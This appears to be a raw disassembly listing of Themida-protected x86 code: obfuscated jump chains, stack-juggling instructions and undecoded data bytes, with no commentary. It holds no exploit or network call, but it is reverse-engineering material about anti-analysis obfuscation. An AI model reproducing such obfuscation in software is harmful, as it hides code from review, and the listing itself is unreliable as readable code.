		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1
		jmp	loc_54E77A
; ---------------------------------------------------------------------------
		db 66h
		dd 68241489h, 5791h, 66241C89h,	6613FABBh, 0E901C383h
		dd 0FFFFDAEFh
; ---------------------------------------------------------------------------

loc_54D298:				; CODE XREF: Themida_:0054B065j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_543924
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0C6h
		dd 1277E0Bh, 1A83E9C8h,	0EC800000h, 0FECCFEA8h,	0B252CCh
		dd 0FE08EAC0h, 0FA4AE9CAh, 5A66FFFFh, 6866C300h, 896608E2h
		dd 0D8B5240Ch, 0E928B252h, 0FFFF8E6Bh, 4E5BDE31h, 75D8C681h
		dd 0F6810E3Dh, 9E0D7A84h, 3C15C581h, 0F5016FC6h, 3C15ED81h
		dd 2FE96FC6h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D303:				; CODE XREF: Themida_:00546911j
		not	bh
		add	bh, 0F6h
		or	bh, 67h
		jmp	loc_549730
; ---------------------------------------------------------------------------

loc_54D310:				; CODE XREF: Themida_:00547114j
		mov	[esp], edx
		mov	dh, 0DAh
		not	dh
		jmp	loc_54BAFB
; ---------------------------------------------------------------------------

loc_54D31C:				; CODE XREF: Themida_:0054AE62j
		mov	[esp], ebp
		jmp	loc_54F9F3
; ---------------------------------------------------------------------------
		dd 6806E3C1h, 68ABh, 52243489h,	6C43BDBAh, 2C815227h, 0E8457024h
		dd 1BB6E94Fh, 0F1800000h, 2CBA2CF2h, 46D04ACh, 2CC828ABh
		dd 6DB252ABh, 0CEE9D028h, 8BFFFFB2h, 0B5E9242Ch, 0FFFFFF6Bh
		dd 48B2434h, 4C48324h, 0DFE95450h, 8BFFFFC9h, 0C481243Ch
		dd 4, 8904EC83h, 0B9512414h, 77466C23h,	0FFFFC181h, 0E9C1FFFFh
		dd 0F1814908h, 77466Fh,	0E4E9CA89h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D39F:				; CODE XREF: Themida_:00545210j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp

loc_54D3AC:				; CODE XREF: Themida_:loc_543D22j
					; Themida_:00549B88j
		push	0F18h
		mov	[esp], ebx
		jmp	loc_546068
; ---------------------------------------------------------------------------

loc_54D3B9:				; CODE XREF: Themida_:0054EC38j
		add	al, bh
		pop	ebx
		sub	al, 9
		jmp	loc_548FDD
; ---------------------------------------------------------------------------
		db 59h
		dd 159CD29h, 0F16CE9EBh, 8F5DFFFFh, 248B2404h, 70686824h
		dd 14890000h, 0E2895224h, 0FF9929E9h, 240C89FFh, 0FF6537E9h
		dd 2404D2FFh, 77BEE99Ch, 34FFFFFFh, 0C4835B24h,	4EC8104h
		dd 89000000h, 0BF572434h, 70CA41DEh, 6E268EBEh,	5FFE01CCh
		dd 1534B951h, 0C68175F3h, 0C8C0F69h, 0EE81CE29h, 0C8C0F69h
		dd 0FF8C98E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D42D:				; CODE XREF: Themida_:0054A1BCj
		mov	eax, [esp]
		push	ebp
		jmp	loc_548ADC
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 10BE580Eh, 0FF64E3E9h, 2ABD55FFh, 8136094Bh,	4ECh, 240C8900h
		dd 2A9EBE56h, 0D9B9051Bh, 0E92F5E97h, 0FFFFE09Fh, 34CE814Eh
		dd 0E931756Fh, 0FFFF999Dh, 0D3F7E3D1h, 814BD3F7h, 1FC97FC3h
		dd 5BD8218Bh, 3A42062Dh, 58C70110h, 2C781h, 0E9570000h
		dd 11A1h
; ---------------------------------------------------------------------------

loc_54D490:				; CODE XREF: Themida_:0054F9FEj
		and	eax, ebp
		pop	ebp
		jmp	loc_549B64
; ---------------------------------------------------------------------------

loc_54D498:				; CODE XREF: Themida_:00546AB3j
		pop	ebp
		sub	ebx, eax
		sub	ebx, 33F218E4h
		jmp	loc_54F265
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0BDC7745h, 7DDAC381h, 0BF577484h, 7DBE123Bh,	0D814EF81h
		dd 0C3814EF3h, 255602BCh, 0CD6E9h, 66516600h, 22474FFh
		dd 8F665966h, 0EC832404h, 241C8904h, 0BD55E389h, 4, 815DEB01h
		dd 2EBh, 241C8700h, 0A84EE95Ch,	5453FFFFh, 4C3815Bh, 0E9000000h
		dd 0FFFF8D0Fh, 83241C8Bh, 0C38104C4h, 4, 2B850h, 0EB810000h
		dd 52626FE1h, 0FFC2B8E9h, 240487FFh, 0FF8250E9h, 4C383FFh
		dd 0FF9C41E9h, 80DAF6FFh, 0E980B6C2h, 80D100C8h, 45AC8C1h
		dd 0E9C82834h, 0FFFF6AFEh, 0E9242C87h, 0FFFF9377h
; ---------------------------------------------------------------------------

loc_54D550:				; CODE XREF: Themida_:00545838j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_54885C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 0FF8D0AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D571:				; CODE XREF: Themida_:00546534j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54BE98
; ---------------------------------------------------------------------------
		dd 5A04C483h, 0FF7B23E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D589:				; CODE XREF: Themida_:0054448Fj
		mov	[esp], ecx
		jmp	loc_54E2E6
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 3
		dd 0F8E9EAD1h, 89FFFF94h, 0F9B3241Ch, 0F685CB80h, 6B7EE9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D5AA:				; CODE XREF: Themida_:0054BED9j
		or	dh, 31h
		add	dh, 34h
		xor	dh, 33h
		push	dx
		jmp	loc_54665E
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0E3Eh
; ---------------------------------------------------------------------------

loc_54D5C0:				; CODE XREF: Themida_:005492B9j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 77C40195h
		jmp	loc_54445D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 92C781DFh, 29666672h, 0EAC15FFAh, 54C28108h,	56351868h
		dd 4157F9BEh, 0F0CE8177h, 4E794765h, 7823EE81h,	0F22949BAh
		dd 0A670E95Eh, 0C480FFFFh, 58E330E2h, 0D828C22Ch, 805BC204h
		dd 0BFE946C3h, 0FFFFFF77h, 72E92434h, 8BFFFF79h, 89502424h
		dd 405E0h, 0C0830000h, 24048704h, 50E1F75Ch, 0FFE5EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D63D:				; CODE XREF: Themida_:0054CBB1j
		sub	eax, 2C25004Ah
		pop	esi
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, 30AC7864h
		jmp	loc_545095
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C6h
		dd 4, 4EE81h, 34870000h, 24248B24h, 0E9240489h,	0FFFFEEB3h
; ---------------------------------------------------------------------------

loc_54D66C:				; CODE XREF: Themida_:0054BDDEj
		mov	ecx, [esp]
		jmp	loc_547209
; ---------------------------------------------------------------------------
		dd 8958C201h, 0EA015AD5h, 2414335Dh, 0F95E9h, 243C3100h
		dd 8B243C33h, 89662424h, 8DE92404h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D697:				; CODE XREF: Themida_:0054A1FBj
		and	ebx, 57C576E8h
		or	ebx, 2EDE346Ah
		jmp	loc_5469F0
; ---------------------------------------------------------------------------
		dd 4EC8150h, 89000000h,	17BE2434h, 561BF539h, 54240481h
		dd 583A735Ch, 0FFB6AAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D6C5:				; CODE XREF: Themida_:00549FAEj
		add	ebp, 4
		jmp	loc_54AEA5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXrse		db 'XRée!',0
		db 0
; ---------------------------------------------------------------------------

loc_54D6D7:				; CODE XREF: Themida_:0054E0DEj
		add	ebx, 59077CCEh
		add	ebx, edx
		push	ebp
		mov	ebp, 59303196h
		jmp	loc_54C3BE
; ---------------------------------------------------------------------------
		dw 93BBh
		dd 81021D3Eh, 0B11D5FF3h, 79C38148h, 0BDBC2407h, 77AF6E0Ch
		dd 7FE9DD31h, 2DFFFFEDh, 3A624584h, 635FD42Dh, 0C3315D52h
		dd 0FF6A31E9h, 6E4C0FFh, 5335C480h, 0DD88E388h,	0DB2FE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D72A:				; CODE XREF: Themida_:0054D1F7j
		xor	eax, 21D2552h
		push	esi
		mov	esi, eax
		jmp	loc_54A4F0
; ---------------------------------------------------------------------------
		db 83h
		dd 0BD5504C4h, 0
		dd 0B951h, 0C1010000h, 5D592989h, 0E924048Bh, 0FFFF8DE5h
		dd 468h, 0DCABE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D75E:				; CODE XREF: Themida_:00545BF8j
		pop	ebp
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		push	289Ah
		jmp	loc_545ECD
; ---------------------------------------------------------------------------
		db 2Dh,	44h, 28h
		dd 3C8B1681h, 0E2895224h, 0FF85D2E9h, 5AD129FFh, 0C8BC829h
		dd 4C48124h, 8B000000h,	0C481240Ch, 4, 0EC81C331h, 4, 89240489h
		dd 4BA52E0h, 1000000h, 1BE95AD0h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D7BB:				; CODE XREF: Themida_:0054A683j
		push	dword ptr [esp]
		jmp	loc_547191
; ---------------------------------------------------------------------------

loc_54D7C3:				; CODE XREF: Themida_:00547C97j
		mov	ebp, esp
		push	ecx
		mov	ecx, 0BC0F43h
		and	ecx, 2D4A571Ah
		xor	ecx, 1BC300D0h
		xor	ecx, 40E162BFh
		jmp	loc_54B4D1
; ---------------------------------------------------------------------------

loc_54D7E2:				; CODE XREF: Themida_:0054AC70j
		mov	edx, 93E70ECh
		mov	esi, edx
		jmp	loc_549441
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFCDEEh
; ---------------------------------------------------------------------------

loc_54D7F4:				; CODE XREF: Themida_:00545D4Fj
		push	68EFh
		jmp	loc_546B27
; ---------------------------------------------------------------------------

loc_54D7FE:				; CODE XREF: Themida_:0054F09Ej
		jmp	loc_543924
; ---------------------------------------------------------------------------
		db 88h
		dd 0E58851F4h, 5859EF88h, 0FFE7E9E9h, 66C580FFh, 0FFD729E9h
		dd 243489FFh, 4BEh, 24448100h, 0AA60A404h, 2474016Dh, 246C8104h
		dd 0AA60A404h, 2C8B5E6Dh, 4C48124h, 81000000h, 4C5h, 4C58300h
		dd 31242C33h, 2C33242Ch, 24248B24h, 582434FFh, 0FF8064E9h
		dd 81DDF7FFh, 550435C5h, 0E42E927h, 0C2810000h,	3364647Ch
		dd 1E1BC281h, 0D131E11Ch, 0FFBF1EE9h, 240481FFh, 4, 8324048Bh
		dd 0BF5704C4h, 4, 55FF801h, 2, 577668h,	24048900h, 42474FFh
		dd 8324048Bh, 48F04C4h,	24248B24h, 4B30F66h, 69E99C24h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D8BB:				; CODE XREF: Themida_:0054987Fj
		mov	esi, 3F3569C1h
		push	0
		sub	[esp], esi
		pop	esi
		sub	esi, 0BBC132A6h
		jmp	loc_54838D
; ---------------------------------------------------------------------------

loc_54D8D4:				; CODE XREF: Themida_:00543DD2j
		xor	eax, 3E2E4073h
		jmp	loc_54E1C7
; ---------------------------------------------------------------------------
		dw 5A58h
		dd 5B66F830h, 0EAB25266h, 0DB04012Ch, 5153D000h, 0FFBF0BE9h
		dd 0B1B450FFh, 0C003E4C0h, 0DCF604ECh, 0E979F480h, 0FFFFAEA4h
; ---------------------------------------------------------------------------

loc_54D908:				; CODE XREF: Themida_:0054A168j
		neg	ebp
		add	ebp, 5265A6B0h
		jmp	loc_547CED
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 4
		dd 530337D4h, 0FA243481h, 5964712Dh, 2DFAF181h,	815B6471h
		dd 286327EEh, 0F215E972h, 9C51FFFFh, 0FF5FE7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D93D:				; CODE XREF: Themida_:005480C9j
		inc	eax
		or	eax, 37DC5BABh
		push	edx
		mov	edx, 0AAB314Fh
		jmp	loc_54DACD
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 58682404h, 89000012h, 0E957243Ch, 0FFFFC420h, 0ABC4E958h
		dd 8E68FFFFh, 5B46A27Dh, 1D73E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D971:				; CODE XREF: Themida_:005496A1j
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 40BE0096h
		jmp	loc_54C5A7
; ---------------------------------------------------------------------------

loc_54D982:				; CODE XREF: Themida_:00546BD1j
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54CEE6
; ---------------------------------------------------------------------------
		dd 24048B66h, 721FE953h, 85E9FFFFh, 56FFFF5Fh, 0ADE95E54h
		dd 66FFFF94h, 7341E951h, 400FFFFh, 6DE99C24h, 0BFFFFF5Fh
		dd 105822h, 3480B850h, 0E9401ED0h, 0FFFFAAF2h, 8843B551h
		dd 0C592E9ECh, 4B9FFFFh, 0E9000000h, 0FFFF8F72h, 3D09272Dh
		dd 4EC812Ah, 89000000h,	0C9BF243Ch, 5658F406h, 775525BEh
		dd 0C4E9576Bh, 1FFFF87h, 5EEA81C2h, 0E9063811h,	0FFFF6EC2h
		dd 0CDE9D829h, 1FFFFFFh, 0FF5259CAh, 5A042474h,	8B24048Fh
		dd 74E92424h, 5CFFFF98h, 0B60F66h, 0E904EC83h, 0FFFFA93Ah
		dd 5CDAE281h, 0EA8121BEh, 18D82180h, 0B8BD554Ah, 0E95AFD71h
		dd 0FFFFC456h, 0E9028F64h, 0FFFF5ED4h, 72686655h, 665D661Fh
		dd 66945FB9h, 2C8BE929h, 4C48124h, 66000000h, 317BC181h
		dd 2EC18166h, 6657667Fh, 665DFEBFh, 79E9F901h, 5BFFFF6Dh
		dd 0C281EA01h, 75831A2Fh, 0FFDE9CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DA8D:				; CODE XREF: Themida_:0054CA0Dj
		xor	ebx, 102A5C75h
		sub	ecx, 0C6802EDh
		add	ecx, ebx
		add	ecx, 0C6802EDh
		pop	ebx
		push	4322h
		mov	[esp], ebp
		jmp	loc_54BC42
; ---------------------------------------------------------------------------

loc_54DAAF:				; CODE XREF: Themida_:0054DB53j
		push	esp
		pop	eax
		jmp	loc_549B3E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0DEE95824h, 66FFFF82h, 68240C8Bh, 0BA1h, 0FF807DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DACD:				; CODE XREF: Themida_:0054D949j
		inc	edx
		dec	edx
		or	edx, 30C90FEBh
		shr	edx, 8
		push	ebp
		mov	ebp, 40946199h
		neg	ebp
		shl	ebp, 7
		push	ecx
		mov	ecx, 9D43D00h
		add	ebp, ecx
		pop	ecx
		add	edx, ebp
		pop	ebp
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	edi, eax
		jmp	loc_5481C2
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1858669Dh, 0E99C2404h, 0FFFF5E14h, 5F35512Dh, 8E0C121h
		dd 72F52435h, 481509Fh,	0E10A6E24h, 0EF815F15h,	15E10A6Eh
		dd 1378E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DB32:				; CODE XREF: Themida_:00544CBBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_543924
; ---------------------------------------------------------------------------

loc_54DB40:				; CODE XREF: Themida_:0054C510j
		add	ecx, 0FFFFFFFFh
		add	ecx, 0CEC51471h
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_54DAAF
; ---------------------------------------------------------------------------
		dd 4EC815Eh, 89000000h,	36E9243Ch, 1FFFF5Fh, 2CE95AD6h
		dd 89FFFFECh, 2682414h,	8B000000h, 47E92414h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DB7F:				; CODE XREF: Themida_:0054E80Cj
		not	edi
		sub	edi, 1F960CE3h
		sub	edx, 1B513B20h
		sub	edx, edi
		add	edx, 1B513B20h
		pop	edi
		add	edx, ebp
		add	edx, 60492AF5h
		push	ebp
		mov	ebp, 0CDC5CD6h
		add	edx, ebp
		pop	ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_546046
; ---------------------------------------------------------------------------
aNhlx		db '­h‹X',0
		dw 8900h
		dd 6FE92404h, 0DFFFF7Eh, 56BE7ECAh, 3F52A725h, 5ACA2D38h
		dd 0E2E980E0h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBD7:				; CODE XREF: Themida_:005443E2j
		push	0
		sub	[esp], esi
		pop	esi
		xor	esi, 69492898h
		push	esi
		sub	dword ptr [esp], 67FB1763h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_547F33
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BA5208EDh, 6E430EA9h, 0FF923FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DC05:				; CODE XREF: Themida_:0054A8A9j
		push	edi
		jmp	loc_54A572
; ---------------------------------------------------------------------------
		db 0FFh
		dd 51582434h, 0C1815954h, 4, 3FE168h, 241C8900h, 0FF6F1CE9h
		dd 0B05066FFh, 66C130C4h, 5724048Bh, 0C781E789h, 4, 0E902C783h
		dd 0FFFFE8D5h
; ---------------------------------------------------------------------------

loc_54DC40:				; CODE XREF: Themida_:0054E25Aj
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_54ED7D
; ---------------------------------------------------------------------------
		dw 5150h
		dd 0E888D588h, 15F8E959h, 0E9530000h, 0FFFFD990h
; ---------------------------------------------------------------------------

loc_54DC60:				; CODE XREF: Themida_:0054BAF6j
		push	366Ch
		jmp	loc_54F75F
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 8DB85008h, 402FB323h, 1056D735h, 0FFC08335h,	1B5DE9h
		db 0
; ---------------------------------------------------------------------------

loc_54DC81:				; CODE XREF: Themida_:00549F1Aj
		push	edx
		push	edi
		mov	edi, 183A0261h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		not	edx
		sub	edx, 0E7C5FD9Ah
		add	eax, edx
		pop	edx
		jmp	loc_544169
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 0BE2FE904h, 0D831FFFFh, 0E9241C8Bh, 0FFFFB738h
		dd 81241C8Bh, 4C4h, 24048F00h, 6624248Bh, 68240C8Bh, 1197h
		dd 54241C89h, 0E9241C8Bh, 0FFFFA355h, 1380A2Dh,	47112570h
		dd 6505527Eh, 89E6382Fh, 0AD60E9C2h, 0D831FFFFh, 8E685051h
		dd 580D585Dh, 48BC189h,	4C48324h, 52BBBA52h, 0D2F75DB7h
		dd 0FF6CF4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DD11:				; CODE XREF: Themida_:00547EA7j
		shr	ecx, 7
		jmp	loc_5487E6
; ---------------------------------------------------------------------------

loc_54DD19:				; CODE XREF: Themida_:0054D097j
		push	eax
		mov	eax, 6ADB2952h
		xor	eax, 4C9E2E71h
		neg	eax
		jmp	loc_545DFC
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFBF7EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DD31:				; CODE XREF: Themida_:005453E8j
		mov	ebp, ebx
		mov	ebx, [esp]
		push	502Eh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54546F
; ---------------------------------------------------------------------------
		db 0E9h, 0CEh, 5Bh
		dd 0D901FFFFh, 653FE981h, 0E98103E5h, 7BE60AB9h, 240C875Bh
		dd 2D24248Bh, 0D641515h, 26A7BB53h, 0E3812F86h,	3B4D404Fh
		dd 0FFAEDAE9h, 6EBC1FFh, 0C77FF381h, 814B7D5Ah,	2C2E7AC3h
		dd 0C0EB8174h, 0E9421176h, 0FFFFD5C8h, 5A5DF581h, 0A6E94F0Ah
		dd 1FFFFECh, 0DCEB81EBh, 8B474548h, 0C483242Ch,	74FF5304h
		dd 8F5B0424h, 665C2404h, 2404A30Fh, 5B5AE99Ch, 0E955FFFFh
		dd 0FFFFEBC5h, 0BC2AE95Ah, 0C681FFFFh, 30AC1A19h, 0FFDA51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DDE1:				; CODE XREF: Themida_:0054A00Cj
		xchg	esi, [esp]
		pop	esp
		shr	eax, 0Ch
		jmp	loc_546220
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EA010000h, 2C2815Dh, 87000000h, 248B2414h, 0F5E7E924h
		dd 1C89FFFFh, 8E4FE924h, 0F001FFFFh, 2404875Eh,	0FFF80AE9h
		dd 4BA52FFh, 29000000h,	34875AD6h, 0C895C24h, 4E44B924h
		dd 0D9F75E23h, 7B4EE957h, 0C483FFFFh, 0E0895004h, 405h
		dd 42D00h, 8AE90000h, 0FFFFB1h,	45B58C1h, 0B1516612h, 66C828ACh
		dd 0E9C80059h, 0FFFF7C44h
; ---------------------------------------------------------------------------

loc_54DE60:				; CODE XREF: Themida_:0054A071j
		mov	edx, 197B08CAh
		or	edx, 665677E7h
		and	edx, 58FC0956h
		not	edx
		sub	edx, 0A783F6B5h
		jmp	loc_549FCC
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 81000000h, 0CE0400C2h, 8C7BE932h, 3B68FFFFh,	0E9000013h
		dd 0FFFFA3EEh
; ---------------------------------------------------------------------------

loc_54DE98:				; CODE XREF: Themida_:00549B8Fj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 28h
		mov	edx, ecx
		pop	ecx
		sub	edx, 17F0E5Dh
		add	edx, edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 17F0E5Dh
		sub	edx, 5A7E6A29h
		add	edx, esi
		add	edx, 5A7E6A29h
		pop	esi
		push	dword ptr [edx]
		xor	dword ptr [esp], 429B7BD8h
		pop	eax
		xor	eax, 429B7BD8h
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_544B09
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 1E95904h, 29FFFFA7h,	6F85E9F7h, 0D6F6FFFFh, 48E9F086h
		dd 66FFFFE8h, 0A0E99C50h, 5FFFFFA8h, 8B243487h,	0F1F62424h
		dd 0CCB60F66h, 7FF46866h, 240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFF59FCh, 0EA48B2BDh, 7881E90Ch, 8A04FFFFh, 8A2CD000h
		dd 0FFECDCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DF3D:				; CODE XREF: Themida_:0054A4ACj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_54F025
; ---------------------------------------------------------------------------
		dw 0E948h
		dd 0FFFF7E19h, 0C75106BAh, 0C2F28169h, 31BA18A2h, 0FE015AD7h
		dd 2C6815Fh, 87000000h,	665C2434h, 2404BB0Fh, 59A6E99Ch
		dd 0C483FFFFh, 8BEF0104h, 0C481242Ch, 4, 0FF6DFBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DF91:				; CODE XREF: Themida_:0054BBB5j
		pop	esi
		jmp	loc_54505B
; ---------------------------------------------------------------------------

loc_54DF97:				; CODE XREF: Themida_:00546183j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		add	al, dh
		jmp	loc_54A3AF
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0B11CDE16h, 535DE809h, 0FFADD3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DFBD:				; CODE XREF: Themida_:00546D7Aj
		add	esp, 4
		add	ebx, 4
		push	edi
		push	4
		pop	edi
		add	ebx, 19EF6ECCh
		add	ebx, edi
		sub	ebx, 19EF6ECCh
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54ED04
; ---------------------------------------------------------------------------
		dd 2404095Ch, 0E1CDE99Ch, 5AFFFFh, 6D47E9D8h, 68FFFFh
		dd 0E9000000h, 0FFFFC19Dh, 575BDD01h, 58E95750h, 0BAFFFFCEh
		dd 79981A02h, 4245429h,	0E9h, 0C8B5A00h, 4C48124h, 81000000h
		dd 981A02C1h, 0D4E95F79h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E033:				; CODE XREF: Themida_:005494C6j
		inc	ebx
		not	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		sub	ebx, 1ACC5BA4h
		jmp	loc_54C18B
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 57000000h, 0F639A7BFh, 5FF90106h, 42BFC181h,	0D9014299h
		dd 42BFE981h, 0E9814299h, 6F639A7h, 0FFDD16E9h,	0E305ADFFh
		db 5Bh,	83h, 16h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5468B3
; ---------------------------------------------------------------------------
		db 29h
		dd 794D68F3h, 0C890000h, 5396B924h, 0CB2949ADh,	81240C8Bh
		dd 4C4h, 0E9555E00h, 0FFFF99D5h, 4BEh, 5EF00100h, 4BF5753h
		dd 0E9000000h, 0FFFFC953h, 0BE56D801h, 6CC02104h, 0E926EE81h
		dd 0ABE95EDCh
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E0D3:				; CODE XREF: Themida_:0054BB5Cj
		mov	edx, 8284EA7h
		xor	edx, 8284EA3h
		jmp	loc_54D6D7
; ---------------------------------------------------------------------------
		db 0BFh
		dd 41635E03h, 8103E7C1h, 0E50FEAC7h, 5FFD89F4h,	0FF816EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E0F9:				; CODE XREF: Themida_:00543D07j
		mov	[esp], ebp
		mov	ebp, 3C3C49D6h
		push	edi
		jmp	loc_54ED90
; ---------------------------------------------------------------------------

loc_54E107:				; CODE XREF: Themida_:00548C09j
		push	eax
		mov	eax, 5F815194h
		push	ebx
		mov	ebx, 0FD5ACB65h
		mov	ebp, ebx
		pop	ebx
		add	ebp, eax
		jmp	loc_546665
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 141EE9h, 0C895C00h, 0E9595424h, 0DEDh
; ---------------------------------------------------------------------------

loc_54E130:				; CODE XREF: Themida_:00544CE4j
		mov	[esp], eax
		jmp	loc_543924
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0C6835C24h, 4EC8302h
		dd 0E9243489h, 0FFFFEDE8h, 0E95AD101h, 10DBh, 0E953D001h
		dd 0FFFFA98Dh, 0E9CBB252h, 0FFFFFDC2h, 4BD55h, 0B9510000h
		dd 56EA5F1Dh, 0FF9359E9h, 0FD895EFFh, 58C1055Fh, 0E80100FDh
		dd 0FFE816E9h, 241C87FFh, 243C895Ch, 3E9E789h, 1000015h
		dd 0BCEB81FBh, 5F255602h, 75E9008Fh
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E1AF:				; CODE XREF: Themida_:0054B477j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_543F7D
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 48E90000h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E1C7:				; CODE XREF: Themida_:0054D8D9j
		push	edi
		jmp	loc_5453D8
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240411h, 0FF5747E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E1DD:				; CODE XREF: Themida_:00545CE6j
		add	esi, eax
		pop	eax
		add	edi, esi
		pop	esi
		jmp	loc_549E84
; ---------------------------------------------------------------------------
		dd 0E95FFD31h, 0FFFFB3EAh, 66C0B60Fh, 0E924148Bh, 0FFFFBFD0h
		dd 71F5E951h, 0C681FFFFh, 586E1B66h, 74D3B850h,	0B7E96A01h
		dd 89FFFFE2h, 6DBB241Ch, 0E906D246h, 0FFFF8BABh, 1A2FBB53h
		dd 0DA297583h, 0FFF852E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E22D:				; CODE XREF: Themida_:0054606Fj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	3EEBh
		mov	[esp], esi
		mov	esi, 4
		add	edi, 90027F3h
		add	edi, esi
		sub	edi, 90027F3h
		pop	esi
		add	edi, 4
		jmp	loc_54DC40
; ---------------------------------------------------------------------------
		db 89h
		dd 0D305E9E9h, 0E189FFFFh, 0EEBE56h, 0EE810734h, 73400EAh
		dd 525EF101h, 4BAh, 5AD10100h, 0FF9590E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E285:				; CODE XREF: Themida_:00546B60j
		mov	eax, esp
		jmp	loc_54A076
; ---------------------------------------------------------------------------
		dd 864BE958h
		db 2 dup(0FFh)
